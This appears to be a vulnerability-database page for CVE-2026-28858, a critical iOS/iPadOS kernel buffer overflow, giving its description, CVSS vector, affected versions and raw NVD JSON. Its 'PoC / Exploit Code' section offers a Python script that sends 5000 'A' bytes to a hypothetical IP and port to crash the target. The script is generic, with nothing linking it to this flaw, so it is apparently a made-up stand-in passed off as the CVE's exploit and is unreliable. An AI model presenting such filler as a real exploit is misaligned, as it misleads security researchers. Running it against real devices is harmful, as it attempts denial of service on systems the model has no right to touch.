Security Vulnerability Report
中文
CVE-2026-28858 CVSS 9.8 CRITICAL

CVE-2026-28858

Published: 2026-03-25 01:17:10
Last Modified: 2026-03-26 18:58:44

Description

A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 26.4 and iPadOS 26.4. A remote user may be able to cause unexpected system termination or corrupt kernel memory.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE
iOS < 26.4
iPadOS < 26.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import sys # Target IP and Port (Hypothetical configuration for PoC) TARGET_IP = "192.168.1.100" TARGET_PORT = 8080 # Payload designed to trigger buffer overflow # Sending a large pattern of 'A's to exceed the buffer size payload = b'A' * 5000 def send_exploit(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) print("[*] Sending malicious payload...") s.send(payload) print("[*] Payload sent. Check if the target device has crashed.") s.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": send_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28858", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:09.920", "lastModified": "2026-03-26T18:58:43.767", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 26.4 and iPadOS 26.4. A remote user may be able to cause unexpected system termination or corrupt kernel memory."}, {"lang": "es", "value": "Se corrigió un desbordamiento de búfer mediante una comprobación de límites mejorada. Este problema se corrigió en iOS 26.4 y iPadOS 26.4. Un usuario remoto podría causar una terminación inesperada del sistema o corromper la memoria del kernel."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.4", "matchCriteriaId": "F813DB63-2B55-4E0B-9073-5465C65F69D6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.4", "matchCriteriaId": "01612D13-BE5B-43F8-B53E-5BF57F2A5B0C"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126792", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}